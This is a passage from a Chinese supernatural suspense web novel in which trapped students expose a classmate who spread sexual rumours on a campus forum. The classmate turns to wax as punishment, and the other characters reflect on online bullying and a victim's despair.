“宿珩?宿珩!” 文玉燕察觉到他的不对劲,连叫了他两声。 这家伙刚才还一副天塌下来都面不改色的样子,怎么突然就跟见了鬼似的? 文玉燕的声音里带着一丝不易察觉的紧张。 “你怎么了?脸色这么难看?” 她下意识地伸手想去扶他,又在半途顿住了,毕竟两人还不熟。 好在那股不适感来得快去得也快。 宿珩猛地回过神,眼底那片翻涌的暗色迅速敛去。 他轻轻摇了摇头,感受着突然变得无比干涩的喉咙,声音略带沙哑地回应了句:“没什么。” 顿了顿,他移开目光,不再看那血腥的盥洗盆,仿佛多看一眼都会被那股绝望吞噬。 “出去吧。” 文玉燕虽然满心疑惑,这反应可不像是……没什么。 但见宿珩不愿意多说,她便也没再追问,只是深深地看了他一眼,心里暗自琢磨,跟着他一起走出了女卫生间。 门外不远的地方,余思阳正强忍着胃部的不适等在原地,脸色还有点发青。 见他们出来,他连忙投来询问的目光,声音里带着刚吐过的虚弱。 “怎么样?镜子上到底写的什么?” 文玉燕如实告诉了他:“报应。” 余思阳表情倏地变得呆滞,“……报应?” “嗯……总之时间不多了。” 文玉燕并未过多解释,没去看余思阳如同见鬼的表情,径自跟在宿珩身后,往阅览区那边走。 书架区那边,江文彬似乎已经安抚好了林莹莹。 林莹莹的脸上,虽然还带着几分惊魂未定和明显的不高兴,但恐惧显然还是占了上风。 她依旧死死地抓着江文彬的胳膊,两人尽可能地远离楼梯口和卫生间的方向。 程蔓则安静地站在稍远一些的角落,双手紧紧攥着自己的布袋,指节都有些发白。 她脸上的慌张还未完全消退,整个人看起来更加纤弱无助。 似乎也想知道卫生间里发生了什么,但她却又不敢主动上前,欲言又止。 宿珩走向书架区时,目光不着痕迹地在她白色的宽大袖口上滑过。 那条被她圈在细瘦腕骨上的黑色细绳,仍被袖口牢牢遮掩。 40-50 第41章 第 41 章 失效链接7 “里面什么情况啊?” 江文彬见宿珩和文玉燕从卫生间方向回来, 又看到余思阳那一副像是刚从鬼门关逃回来的虚脱样子,心里更是七上八下。 他按捺不住,还是凑了过去, 压低声音向文玉燕打探。 文玉燕本就看他不顺眼。 现在见江文彬这副畏畏缩缩,却又按捺不住好奇的模样。 再想到他先前抛下林莹莹和程蔓,独自一人上演百米冲刺的“英勇”行径, 眼神里那股子轻蔑几乎要凝成实质。 她冷哼一声,抱臂斜睨着江文彬,嘴角勾起一抹讥诮。 “想知道啊?自己去看啊。” “你不是跑得挺快吗?刚才那股子逃命的劲儿呢?这会儿胆子又捡回来了?” 江文彬被她这连珠炮似的夹枪带棒, 噎得脸上一阵红一阵白。 他讪讪地缩了缩脖子, 喉咙里像是塞了团棉花, 被堵得一个字也反驳不了。 他哪里敢自己再靠近那个卫生间。 光是听林莹莹她们含糊不清的描述,就足够他晚上做上十天半个月的噩梦了。 他偷偷拿眼角去瞟宿珩。 却见对方压根没理会这边的动静, 仿佛他江文彬就是一团空气。 宿珩径直走到一排位置不算起眼的书架前,目光在那些积了厚厚一层灰的旧书上淡淡扫过。 随即伸手,不带丝毫犹豫地从中间抽出一本。 那本书的封皮是深灰色的,设计简单, 甚至有些陈旧。 宿珩拿着书, 走到阅览区角落一张空着的光滑木桌前, 拉开椅子坐下, 然后便垂下眼帘,慢条斯理地翻开了书页。 整个过程, 他都显得异常平静。 仿佛此刻身处的并非什么诡异凶险的“心门”,而只是一个寻常的午后, 在图书馆里随意翻阅书本,消磨时间。 江文彬见文玉燕这边问不出什么,又不敢真的自己去看。 他犹豫再三, 最终还是硬着头皮,慢吞吞地朝着宿珩那边挪了过去。 他心里盘算着,宿珩这人虽然看着冷淡,但至少不像文玉燕那么牙尖嘴利,说不定能从他嘴里套出点有用的东西来。 他刚磨蹭到桌旁,正准备堆起笑脸开口。 目光却不经意地,落在了宿珩摊开的那本书的封面上。 几个印刷体的黑色大字,清晰地映入眼帘—— 《从加害者到受害人:剖析人内心的阴暗面》。 江文彬的心脏猛地一跳,像是被什么东西狠狠攥了一下,差点从嗓子眼里蹦出来。 一股莫名的寒意从脚底窜起,让他整个人都僵在了原地,手脚冰凉。 他脸上那点刻意堆砌的笑容瞬间凝固,眼神也开始不受控制地闪躲起来。 一股强烈的心虚感几乎要将他淹没。 这本书…… 这本书的名字…… 他几乎是下意识地就想转身逃开,离这张桌子越远越好,离宿珩越远越好! “你不想问卫生间里发生什么了吗?” 宿珩清冷的声音忽然响起。 音调不高,却像一根针,精准地刺破了江文彬强装出来的一丝镇定。 江文彬的脚步像是被钉在了原地。 他僵硬地转过头,脸上挤出一个比哭还难看的笑容,声音都有些干涩。 “我……我以为你不会说……” 宿珩的目光从书页上抬起,平静地看向江文彬。 那眼神里没有任何多余的情绪,像一汪蒙着雾的深潭。 却让江文彬感觉自己像是被剥光了衣服扔在雪地里,从里到外被看了个通透,无所遁形。 “镜子上用血写了八个字。” 宿珩的语气如同在陈述一件再平常不过的事情。 “报应。” 他顿了顿,视线依旧牢牢锁在江文彬微微放大的瞳孔上。 接着一字一句,似有所指地补充了后面几个字。 “下一个就是你。” 这六个字,如同一道惊雷,在江文彬的脑海中轰然炸响! 江文彬脸上的血色“唰”地一下褪得干干净净,嘴唇不受控制地哆嗦起来,嗫嚅着,半天说不出一句完整的话。 他感觉自己的手心瞬间就湿透了,后背也冒出了一层细密的冷汗。 “我……我……我还是去……去书架那边再找找看……看看还有没有别的线索……” 他几乎是语无伦次地说完,慌不择路地转身就走,脚步都有些踉跄。 就在这时—— “咯吱”—— 那令人头皮发麻,如同骨骼错位般的细微声响,再次从楼梯口的方向传来。 众人心中皆是一凛。 那些“蜡像人”,又向上移动了。 现在的它们已经占据了第七级台阶。 距离二楼。 只剩下十七级。 宿珩的目光从江文彬仓皇逃窜的背影上收回。 他淡淡开口,声音不大,却清晰地传入江文彬的耳中。 “还剩下八个半小时。” 他的目光掠过那些高耸的书架,语气冷淡:“时间够你把剩下的书架,都仔细翻一遍了。” 江文彬刚逃开几步,听到这话,脚步不由得一顿。 他不解地回头看向宿珩,眼神里充满了困惑,以及一丝连他自己都未曾察觉的慌张。 他不明白宿珩这句话到底是什么意思。 宿珩的目光重新落回到江文彬身上,依旧是那种平静到令人心慌的眼神。 是在提醒他时间紧迫? 还是……在暗示别的什么? 宿珩的目光重新落回到江文彬身上。 “你为什么……” “在看到那张写着‘蜡白色的微笑背后,是面具下即将溃烂的缺口’的纸条时……” “在看到我手里的这本书时……” “在听到镜面上那些血字时……” “会表现得这么紧张?” “甚至……是心虚?” 宿珩的声音不带任何起伏,像是在探讨一个纯粹的学术问题。 江文彬的脸色瞬间变得一阵青一阵白,像是被人当众揭开了最隐秘的伤疤。 他梗着脖子,声音因为激动和被戳穿的恼怒而拔高了几分,甚至有些尖利。 “哪……哪条法律规定人不能害怕了?!” “听到这些诡异的东西,是个人都会害怕的吧?我害怕有什么不对?!” “你和其他人不一样。”宿珩平静地打断了他,“比如你女朋友,她是单纯的害怕。” “但你……” 宿珩的目光锋凛,像肖靳言那柄藏在袖中的黑色短刀,精准地剖开江文彬层层包裹的伪装。 “不止是害怕。” “你还在心虚。” 每一个字,都像一把重锤,狠狠砸在江文彬脆弱的神经上。 江文彬像是被这句话彻底击溃了心理防线,整个人都控制不住地发起抖来。 他甚至怀疑,宿珩是不是知道了学校论坛上那封关于他的帖子……是出自他手。 但他只能硬着头皮反驳:“每个人害怕的方式都不一样,我那根本就不是心虚,你少在这里血口喷人,给我乱扣帽子!” 话音刚落。 不远处的文玉燕冷嗤了声。 虽然她并未开口,但这个简短的语气词,却像一记无形的耳光,毫不留情地抽在了江文彬的脸上,将他的虚伪拍成满地碎屑。 江文彬浑身都透露着极度的不适,只想立刻逃离这个让他感到窒息的地方,逃离宿珩那双仿佛能洞察一切的眼睛。 “你收到的链接……” 宿珩的声音不疾不徐,却像一道催命符,再次在他耳边响起。 “真的是论文录用通知吗?” 江文彬的身体猛地一僵。 他霍然转身,脸上再也维持不住那副文质彬彬的假象,眼神里充满了被逼到绝境的恼羞成怒,声音都变了调,尖锐得有些刺耳。 “那不然呢?!你在怀疑我吗?!” “你凭什么怀疑我?!这里这么多人,你为什么不怀疑其他人?!” “我还怀疑你呢……谁知道你是不是用了什么见不得人的手段,故意把我们弄到这里来的!” 宿珩闻言,脸上竟然露出一丝极淡的,近乎于无的笑容。 那笑容转瞬即逝,却带着一种令江文彬不寒而栗的冷淡。 “你怎么知道我不怀疑其他人?” 他轻轻笑了一声,语气里带着一丝若有似无的嘲讽,“当然,你要怀疑我,也无所谓。” 江文彬脸上的表情彻底冻住。 宿珩看着他那副色厉内荏,却又无计可施的狼狈模样,像是终于欣赏够了这场独角戏。 他不紧不慢地继续追问,“请问是哪本核心期刊,影响因子多少?” “从这里出去以后,我一定找机会拜读一下你的大作。” “顺便,也学习一下你的写作技巧。” 江文彬被他这句话逼得哑口无言。 他那个所谓的“论文录用通知”,本就是情急之下随口胡诌出来的,带着一点自以为是的虚荣心。 为的不过是在众人面前显得自己有些分量。 此刻被宿珩这么一追问,他哪里能在一时半会儿之间编造出一个具体的期刊名称来? 江文彬脸色铁青,嘴唇哆嗦着,却一个字也说不出来。 最终,他狠狠瞪了宿珩一眼,那眼神里充满了恼羞成怒和不甘,然后像是丧家之犬一般,头也不回地朝着书架区深处仓皇走去,甚至还甩开了林莹莹想要抓住他的手。 宿珩平静地看着他狼狈逃窜的背影, 那双总是沉静的眼眸深处,悄然掠过一抹了然的光芒。 他心中那个模糊的猜测,似乎又清晰了几分。 …… 江文彬逃离宿珩的视线后,一颗心仍在胸腔里疯狂擂鼓。 “下一个就是你”…… 这六个字,如同跗骨之蛆,在他脑海中不断盘旋。 每一个字都像淬了毒的针,狠狠扎在他的神经上。 江文彬感觉自己好像被什么看不见的东西……盯上了。 一股浓重的不祥预感,如同一张无形的巨网,将他紧紧笼罩,让他喘不过气来。 他额头上渗着冷汗,脸色苍白得没有一丝血色。 只好脚步虚浮地在书架间胡乱穿梭,手指下意识地抠着书脊,却根本看不进任何内容。 “文彬,你怎么了?” 林莹莹见他魂不守舍的样子,眼里满是担忧,小心翼翼地跟在他身后,轻声问道。 江文彬被她这突如其来的一问吓了一跳,像是被踩了尾巴的猫,猛地停下脚步,回头瞪了她一眼。 语气不耐烦到了极点。 “我什么事都没有,你要是闲着没事干就赶紧找线索,别在这儿磨蹭了!” 话说出口,他才意识到自己的语气太过恶劣。 胸口那股莫名的烦躁和恐惧交织在一起,让他几乎无法控制自己的情绪。 他深吸一口气,强行压下心头的惊悸,试图挤出一个平日里惯用的温和笑容,安抚林莹莹。 “莹莹……你别怕,有我在呢,我会保护好你的。” 林莹莹看着他,却没有像往常一样被轻易安慰到。 她微微蹙起眉头,眼神里带着一丝困惑和不易察觉的惊疑。 “文彬,你的脸……” 她伸出手指,有些迟疑地指了指江文彬的嘴角,“你的笑容……好奇怪啊。” 江文彬脸上的笑容猛地一僵。 “奇怪?哪里奇怪了?” 他下意识地反问,心里却咯噔一下,那股不祥的预感愈发强烈。 “就……就很僵硬。” 林莹莹努力组织着语言,脸上带着几分被吓到的神色。 “有点像……有点像楼梯口那些东西……它们笑起来的样子……” 江文彬听了这话,血色瞬间从脸上褪去。 他不明所以地抬起手,有些颤抖地,碰了碰自己的嘴角。 摸到嘴角的一刹那,他浑身一颤,血液仿佛凝固了。 那不是他熟悉的,温热而柔软的皮肤。 而是一种……冰凉、干涩,带着些许粘腻的触感。 仿佛摸到了一块正在融化的劣质蜡烛。 更可怕的是,他试图牵动嘴角,却发现那里的肌肉像是彻底失去了知觉,僵硬得无法动弹。 他想笑,却只能扯出一个比哭还难看的,凝固的弧度。 …… 另一边,阅览区角落。 宿珩依旧坐在那张光滑的木桌前,垂眸看着手中的书。 文玉燕缓步走了过来,目光在他摊开的书页上停留了几秒,随即拉开他对面的椅子坐下。 “要不要听听我的推测?” 她开口,声音压得很低,带着一丝不容错辨的严肃。 宿珩从书中抬起头,平静地迎上她的目光,微微颔首,示意她继续。 “我觉得……” 文玉燕身体微微前倾,用仅有两人能听到的音量说道: “这扇‘心门’的主人,很可能就藏在我们中间。” “就在其他四个人之中。” 宿珩闻言,脸上并没有露出太多意外的神色,只是淡淡地“嗯”了一声,像是早就猜到了这个答案。 他反而更关心另外一件事。 “‘心门’之中,存在将作恶者一同拉进来的可能性吗?” 文玉燕挑了挑眉,似乎挺奇怪他为什么会问出这样一个问题。 “当然存在。” 她思索了半晌,给出肯定回答:“虽然这种情况比较少见,但并非没有。” “有些‘心门’的主人,在绝望到极致的时候,会选择用这种方式来寻求某种意义上的‘解脱’。” “或者,更恰当的说法是……复仇。” 文玉燕顿了顿,声音更沉了几分。 “他们摆脱绝望的方式,就是亲手抹杀那些曾经伤害过他们的人。” “这类‘心门’主人的怨念,通常都极为强大,也更为凶险。” 文玉燕说完,深深地看了宿珩一眼,语气带着几分探究。 “你是不是……想到了什么?” 宿珩再次发出一声极轻的“嗯”,算是默认。 他没有直接回答,只是淡淡道:“不过,还需要再等等。” 他的视线,若有若无地飘向书架深处。 文玉燕顺着他的目光,不着痕迹地瞥了一眼。 江文彬那道略显慌乱,甚至有些踉跄的身影,在书架的阴影中若隐若现。 她凝视着江文彬的背影,若有所悟地弯了弯嘴角。 她大概明白了宿珩究竟在等什么。 第42章 第 42 章 失效链接8 直到宿珩翻完了手里那本书。 才终于看到江文彬从书架深处, 磨磨蹭蹭地走了出来。 他的表情,比先前任何时候都要僵硬。 先前他还只是脸色难看,这会儿, 江文彬整张脸都白得像蒙了一层灰,毫无生气。 像是劣质的白蜡,透着一股不自然的死气。 走路的姿势也有些怪异, 每一步都仿佛耗尽了全身力气。 这次,不再是林莹莹紧紧抓着他的胳膊。 反而换成了江文彬,他几乎是死死地攥着林莹莹的手腕, 那力道差点要将她的腕骨捏碎。 林莹莹被他抓得眼泪在眼眶里打转, 腕上传来钻心的刺痛。 但她却不敢挣脱, 只是小声地吸着气,脸上满是惊惧, 连带着看江文彬的眼神都变了。 余思阳见状,眉头皱得更紧了。 他几步走过去,打量着两人反常的姿态,语气透着警觉:“你们两个……又怎么了?” “没事!” 江文彬几乎是吼出来的, 声音尖锐得有些破音, 连脖子上的青筋都爆了出来了。 他此刻心情烦躁到了极点, 胸口闷堵, 像被巨石压住,连呼吸都变得困难。 眼珠更是因为布满血丝, 显得格外骇人。 就在不久前,他实在熬不住心底那股越来越强烈的恐慌, 鼓起勇气,拉着林莹莹偷偷摸摸地溜到楼梯口看了一眼。 只一眼,他便差点魂飞魄散。 那些密密麻麻的“蜡像人”, 竟然已经爬到了楼梯的正中间! 十二级台阶。 不多不少,刚好一半。 那些僵硬的脸依旧仰着,嘴角咧开的弧度在昏暗里愈发分明,透出一股狰狞。 像在无声地嘲笑着即将变成同类的江文彬。 有几张蜡像脸上的神情,竟和他现在的样子有几分说不出的相像。 留给自己的时间,真的不多了。 江文彬深吸一口气,脚步沉重得像是灌了铅。 他抓着林莹莹,绕过余思阳和文玉燕,径直朝着阅览区角落里,那个独自看书的宿珩走去。 他走到桌前,嘴唇翕动了几下,最终还是带着一丝不易察觉的颤音,低声开口: “宿珩……能,能借一步说话吗?” 宿珩从书中抬起头,目光淡淡扫过,落在他那张被涂了厚厚一层粉底,却依旧难掩僵硬的脸上。 “有事就在这里说。” 江文彬的脸色更白了。 他下意识地看了一眼不远处的文玉燕、余思阳和程蔓。 他们显然也注意到了这边,目光中带着疑问和探究。 江文彬喉头一紧,挣扎片刻,终于开口,声音却绝望得发飘,带着粗砺的沙哑。 “宿珩……求你……帮帮我……” 话音未落,他像是再也承受不住某种巨大的恐惧,颤巍巍地将自己的右手伸到了宿珩面前。 那只手抖得像秋风中的落叶。 宿珩盯着那只手,眸色转深。 江文彬的右手上,食中和无名指,这三根手指的指节,已经完全变成了蜡白色。 这种白色,和楼梯下方那些“蜡像人”身上覆盖的惨白釉质,如出一辙。 冰冷,僵硬,没有一丝活人的血色。 他应该是被自己这副逐渐蜡化的样子,彻底吓破了胆。 连带着另外两根尚算正常的手指,也因为主人的恐惧而微微抽搐。 “我……我错了……” 江文彬的声音带着哭腔,再也没有了先前的强壮镇定和伪装,只剩下浓浓的恐惧和悔恨。 他眼泪鼻涕一起流了下来,混着脸上的粉底,糊成一团。 “那个……那个失效的链接,根本不是什么论文录用通知……” “那是一封……一封学校匿名论坛的帖子……” 宿珩的瞳孔几不可察地缩紧。 他立刻明白了江文彬在说什么。 那个帖子他看过。 照片的森*晚*整*理主角正是他自己。 “我不该造谣你被包/养,我不该瞎编乱造,我不该嫉妒你……等我出去……我一定立马把帖子删了,我给你磕头道歉,求你原谅我……” 他语无伦次,几乎要跪下去。 听见江文彬这么说,林莹莹和余思阳两人都是一愣—— 两人的脸色“唰”地一下,变得比江文彬那三根蜡化的手指还要难看。 他们……也都看过那个帖子。 甚至…… 林莹莹的脑海中,不受控制地浮现出自己当时在帖子下面的回复。 她用的是自己的大号,语气刻薄又带着自以为是的优越感: [切,长得好看有什么用,这种小白脸我见多了,被金/主玩腻了就一脚踹开,到时候哭都没地方哭!]她当时还因为这条回复得到了好几个赞而沾沾自喜。 余思阳的脸色也一阵青一阵白,喉咙发干。 他也回复了,当时他正因为打球输了比赛而心情不爽,看到这种捕风捉影的八卦帖子,想也没想就敲下了一行字: [现在的男的怎么都这么没骨气?为了钱脸都不要了?真是丢我们男人的脸!这种人要是被我遇到,我一拳打得他满地找牙!看着就恶心!] 他甚至还@了几个篮球队的朋友一起“欣赏”。 回想起当初那些恶毒的字句,林莹莹和余思阳脸上都臊得通红,像被人当众扇了耳光。 一股说不出的羞耻与尴尬涌上心头,让他们几乎无地自容。 两人都不敢去看宿珩,恨不得地上有条缝能钻进去。 他们怎么也想不到,那个在网络上肆意散播谣言,引导舆论攻击他人的始作俑者,竟然就在眼前!而且还是江文彬这个平时装得人模狗样的家伙! 而受害者……也在眼前。 并且正用一种极为平静的目光看着这一切。 角落里,一直安静待着的程蔓,在听到江文彬那句“学校匿名论坛的帖子”时,肩膀几不可见地抖了抖。 她倏地抬头,眼神撞上宿珩,那双总是躲闪的眼睛里,此刻写满了惊愕。 但那震惊之中,又夹杂着一丝……难以言说的复杂情绪。 像是找到了同类一般的共情,又像是看到了某种残酷的轮回。 她的嘴唇动了动,似乎想说什么,最终却只是更紧地攥住了自己的布袋。 只是,宿珩的反应,却平静得有些出乎所有人的意料。 他对江文彬这迟来的忏悔,似乎没有丝毫兴趣。 他的目光,反而落在了江文彬那张涂抹得极不自然的脸上。 他脸上涂着厚厚的粉底,白得刺眼,却也遮不住某种异样。 “你的脸……” 宿珩平淡地开口,每个字都让江文彬本就冰冷的心脏一寸寸下沉。 江文彬下意识地抬手摸向自己的脸颊,指尖触及之处,那片冰凉僵硬的范围更大了。 他逼着林莹莹给他擦上的粉底,恐怕已经无法彻底遮盖住那片惨白的蜡色。 “宿珩……我真的知道错了……求求你原谅我……救救我……” 江文彬的声音里充满了哀求,他甚至想跪下来。 他能清楚地感觉到,自己身体的“蜡化”正在加速。 再这样下去,他会彻底变成楼下那些怪物中的一员! 宿珩看着他那副痛哭流涕、卑微乞求的模样,眼神依旧平静如水,不起丝毫波澜。 他缓缓开口,声音不大,却像一把冰冷的利刃,精准地刺入江文彬的心脏。 “晚了……已经有人,在替我惩罚你了。” …… 江文彬蓦地瞪大布满血丝的双眼,瞳孔因极致的恐惧而剧烈收缩。 这句话犹如一根烧红的铁钎,狠狠烙在他敏感的神经上。 江文彬浑身一颤,如同被看不见的电流穿过,控制不住地抖了起来。 “谁……谁要惩罚我?!” 江文彬的声音嘶哑尖锐,几乎破了音。 他神经质地环顾四周。 昏暗的书架在他眼中扭曲变形,每一处阴影里都可能藏着一双怨毒的眼睛,正死死地盯着他,等待着将他拖入深渊。 空气中弥漫的旧书霉味,在这时也变得像坟墓里,令人窒息的腐朽气息,让他心乱如麻。 他的目光慌乱地扫过不远处的文玉燕、余思阳。 他们脸上的错愕和嫌恶让他更加心慌。 最后,像被烫到一般。 江文彬的视线不受控制地定格在,站在不远处的角落里,那个始终安静得如同空气的程蔓身上。 长相清丽的女生,依旧抱着她的旧布袋,低垂着眼帘,长发遮住了大半张秀气的脸庞。 先前江文彬坦白自己是匿名论坛造谣宿珩的始作俑者时,她脸上那抹转瞬即逝的惊愕与复杂,还未完全褪去。 她只是静静地站在那里。 身影在昏暗的光线下显得有些单薄,却像一个巨大的漩涡,吸引着江文彬所有的理智和不断滋生的恐惧。 四目相对的一瞬—— 江文彬的脑子里“轰”的一声,像是有什么东西炸开了。 无数混乱的念头与画面汹涌而出。 程蔓…… 学校论坛……匿名帖子……造黄/谣…… 一个个词语在他脑海中疯狂闪现,串联成一条冰冷的锁链,死死勒住了他的脖子,让他几乎窒息。 他那张因恐惧而扭曲的脸,霎时间变得更加惨白。 如果说宿珩的遭遇是“报应”的开端。 那程蔓……程蔓呢? 他终于想起来了—— 那个被他用更恶毒、更龌龊、更不堪入目的黄/谣毁掉名声,逼到抑郁,几乎走上绝路的女生! 那个早就被他刻意遗忘在记忆……最角落里的人! 她也在这里! 她一直都在! 她看着他,就像看着一个死人! “啊——!” 江文彬喉咙深处爆发出一声不似人声的凄厉尖叫,宛如看到了世界上最恐怖的事物。 他猛地甩开林莹莹的手,那力道之大,几乎要将她的腕骨生生折断。 林莹莹痛呼一声,身体不受控制地向后踉跄几步,难以置信地看着他。 眼前的江文彬,陌生得让她心头发寒。 仿佛一瞬间被抽走了所有熟悉的人性,只剩下一个扭曲可怖的空壳。 江文彬却像疯了一样,连滚带爬,头也不回地朝着书架区最深处的黑暗角落冲去。 他只想把自己藏起来。 藏到任何人都找不到的地方! 藏到那双冰冷眼睛看不到的地方! “文彬!” 林莹莹又惊又气,眼泪无法控制地涌了上来。 她跺了跺脚,犹豫片刻,最终带着几分不甘和最后一丝微弱的依赖,咬唇追了上去。 余思阳和文玉燕也立刻跟了过去。 宿珩则是不紧不慢地合上手中的书,望向江文彬消失的方向。 书架区的最深处,光线几乎被完全吞噬。 江文彬像一只被吓破了胆的兔子,蜷缩在一个狭窄的书架夹缝里,双手死死抱住脑袋,身体筛糠般抖个不停。 “别过来……别过来……求求你……” 他嘴里含糊不清地念叨着,声音里充满了绝望的呜咽。 “不是我……真的不是我……放过我好不好……” 林莹莹追到近前,看清他现在的模样,登时倒抽一口凉气,下意识地捂住了嘴。 江文彬先前伸出来的那只右手,如今已经完全变成了蜡白色,僵硬得和楼梯口的那群“蜡像人”一模一样。 而这诡异的蜡化,正以肉眼可见的速度,沿着他的手臂向上蔓延,已经侵蚀到了手肘。 很快,就会到肩膀,到脖子,到全身…… “文彬……你的手……” 林莹莹的声音带着哭腔,她想上前,却又被江文彬那副人不人鬼不鬼的样子吓得腿软,只敢远远地站着。 宿珩眉梢轻蹙。 他又听到了那种若有若无的嘲笑声。 明明江文彬发出的声音,是惊恐的哭泣与哀嚎。 但在宿珩的耳中,那些声音却逐渐扭曲,最后汇聚成一片尖锐而密集的嘲弄。 那些嘲笑声如有实质,像无数双无形的手,指点着江文彬的狼狈,发出幸灾乐祸的哄笑。 这诡异的听觉错位,让宿珩心中那股寒意更甚。 他看向江文彬。 对方正因为极度的恐惧和痛苦而涕泪横流。 脸上那层厚厚的粉底早已被汗水和泪水冲得斑驳不堪,露出一块块同样开始泛着死白色的皮肤。 那张曾经还算文质彬彬的脸,不觉间早就扭曲得不成样子。 林莹莹看着江文彬这副模样,胃里一阵翻江倒海。 她再也生不出一丝靠近的念头,反而下意识地后退了几步,拉开了与他的距离,眼神里充满了惊慌和一丝不易察觉的嫌恶。 曾经那个在她面前温柔体贴的男朋友,即将变成了一个快要蜡化的怪物。 余思阳也被江文彬的惨状吓得不轻,脸色发白。 他深吸几口气,强迫自己镇定下来,但紧握的拳头还是暴露了他内心的紧张。 他骤然转身,再一次冲进了旁边的书架堆里,开始胡乱地翻找起来,嘴里还念念有词。 “线索……一定还有别的线索……不能等死……” “诗……纸条……肯定还有!” 他像没头苍蝇一样,把一本本书抽出来又塞回去,弄得灰尘弥漫,呛得自己肺都差点咳出来。 片刻之后,他又想起什么,脚步踉跄地跑到楼梯口,伸长脖子朝下方望了一眼。 当看到那些“蜡像人”又向上逼近了一级台阶后,他的脸色更加难看,额角渗出密密的冷汗,整个人都处于一种精神高度紧绷的状态。 文玉燕没有理会那两个已经方寸大乱的男女。 她走到宿珩身边,目光在蜷缩成一团的江文彬身上停留了几秒。 那眼神,像在看一件即将完成的艺术品,只不过材料是活人。 随即文玉燕压低声音对宿珩说:“看来,江文彬就是第二张纸条上说的那个‘戴面具的人’了。” “蜡白色的微笑背后,是面具下即将溃烂的缺口。” 她低声重复了一遍那句诗。 “他的虚伪面具被撕开,内心的阴暗正在腐蚀他自己,这报应……来得倒是挺快。” 宿珩的视线从江文彬身上移开,淡声道:“或许,还有另一种理解。” 文玉燕看向他:“什么?” “除了代表嘲笑者笑容背后的虚伪与恶意被揭露。” 宿珩顿了顿,目光转向不远处那个始终安静的身影。 “那句诗,会不会也同时在暗示……‘心门’的主人,也曾经用一张微笑的面具,来隐藏自己内心早已千疮百孔的绝望?” 文玉燕闻言,敛眉垂目,陷入了沉思。 宿珩的这个解读,确实更为深入。 也更符合“心门”主人那种极致的痛苦与压抑。 她点了点头,语气中多了几分了然。 “如果真是这样……那我们现在,基本可以确定‘心门’的主人是谁了。” 她的目光,缓缓落在了书架区角落。 那个身影,从始至终都显得格格不入,抱着旧布袋,安静得像一抹幽魂。 程蔓察觉到了她的注视。 这回…… 她没有躲避文玉燕的视线,而是眸色深深,嘴角慢慢轻扯出一抹微笑。 第43章 第 43 章 失效链接9 程蔓嘴角那抹笑意, 在昏暗中漾开,看得文玉燕心头一跳。 “心门”的主人,果然是她。 但她似乎, 又和那些被绝望彻底吞噬,变得疯狂或麻木的“心门”之主不太一样。 眼前的程蔓,貌似还保留着相当程度的清醒。 文玉燕心思急转, 正盘算着如何开口。 宿珩却已经先一步动了。 他迈开长腿,没有丝毫犹豫,径直走向了阅览区角落的程蔓。 背影, 在昏暗光线下显得格外挺拔。 程蔓安静地立在那里, 怀中依旧是那个洗得发白的旧布袋, 被她抱得很紧。 宿珩在她面前站定。 她微微抬起头,长睫轻颤。 宿珩的视线, 在她宽大的白色袖口上不着痕迹地滑过。 无须刻意去看,他几乎立即想象得到—— 那条圈在手腕处,被她当作装饰的黑色细绳之下,覆盖着不止一道, 由利器划出的, 狰狞而绝望的伤口。 “你是来劝我放过他吗?” 程蔓看着他, 声音很轻, 却带着一丝不易察觉的冷漠,像一根细细的冰棱。 宿珩摇了摇头, “我没那么圣母。” 他停了一下,补充道:“谁犯的错, 就该谁自己承担相应的后果。” 程蔓抱着布袋的手指,几不可察地蜷缩了一下。 她那双总是盛着忧郁和戒备的眼睛,微微睁大, 映着宿珩平静的脸。 她似乎没想到会是这样的回答。 因为有过相似的被污蔑、被网暴的经历,她对宿珩,倒是比对其他人多了一丝莫名的认同感。 或许,也因此,她愿意多说几句。 “那你呢?” 程蔓轻声问,目光重新落回宿珩那张过分漂亮,却冷淡的脸上。 “当你发现自己被污蔑,被无数人用最恶毒的语言嘲讽和诋毁的时候……是什么样的感觉?” 宿珩的回答坦然得近乎冷酷。 “没什么太大的感觉。” 程蔓不解地蹙眉。 他继续用那种没什么起伏的语调解释: “一只蚂蚁咬了你一口,你还需要费力气去找到它,再狠狠咬回去吗?” 程蔓沉默着,眼神里是更深的困惑。 蚂蚁? 这种比喻,她无法完全理解,更无法感同身受。 那种痛,怎么可能像蚂蚁咬一口那么简单。 宿行似乎看出了她的不解,不以为意地继续说道:“这或许和人的性格有关。” “有些事情,你越是在意,那些躲在暗处的人就越是兴奋,越是会变本加厉。” “反过来,你越是不把他们当回事,他们自讨没趣,也就慢慢散了。” 他语气平淡,像是曾经被诋毁的人并不是他。 “人性……很多时候就是这样。” 程蔓的睫毛轻轻颤动。 她若有所思地低下头,那些不堪的过往再次涌上心头。 那次,她只是从健身房出来,碰巧遇到了自己实习时,带过自己的前男领导,于是礼貌地打了个招呼。 就因为这样一张角度刁钻的偷拍照片。 江文彬便在学校的匿名论坛上,添油加醋,编造出她被“金/主包养”的黄/谣。 她是外语系的系花,本就引人注目。 谣言一出,立刻像瘟疫一样扩散开来。 此后,便是无休止的噩梦。 无数人在背后对她指指点点,用带着颜色的眼光打量她,用不堪入耳的词语嘲笑她,辱骂她。 她本就是个天性敏感多思的人,在那些铺天盖地的恶意中,不知道偷偷哭了多少回。 她也曾试图解释,苍白无力地辩解,但没有人相信。 那些解释,反而引来了更多的嘲讽和更恶毒的揣测。 如今听到宿珩这番近乎“冷漠”的看法,她依旧觉得,自己无法完全苟同。 那种被千夫所指,被全世界抛弃的绝望,又岂是“不在意”三个字就能轻易化解的? 她的心,早就在那些日日夜夜的折磨中,变得千疮百孔。 宿珩像是看穿了她的心思,轻轻耸了耸肩。 “当然,你的选择,我没有资格评判对错。” 他话锋一转,目光扫过书架角落。 江文彬蜷缩在那里,身体仍在不受控制地蜡化。 林莹莹和余思阳吓得脸色惨白,不知所措。 “但是,把其他并不相干的人牵扯进来,让他们也一同承受这份恐惧和绝望,似乎并不是一个太好的选择。” 程蔓的眼神黯淡了几分。 她用力攥紧了怀里的布袋,指节因为用力而泛白。 “我……我控制不住。” 她的声音带着一丝压抑的颤抖。 “心门”会随机卷入路人进来,这并不是她自己可以控制的。 “而且,我并不觉得他们……是完全无辜的。” 那些在帖子下面跟风嘲笑、肆意谩骂的人。 那些用猎奇目光打量她的人。 那些将她的痛苦当作茶余饭后谈资的人…… 他们,真的无辜吗? 每一个字眼,都像一把刀,重新剜开她的旧伤。 宿珩伸手指了指自己,语气依旧平静:“至少,我是无辜的。” “我从不在网络上对任何我不了解的事情发表看法。” 他又指了指不远处的文玉燕,后者正一脸警惕地看着这边。 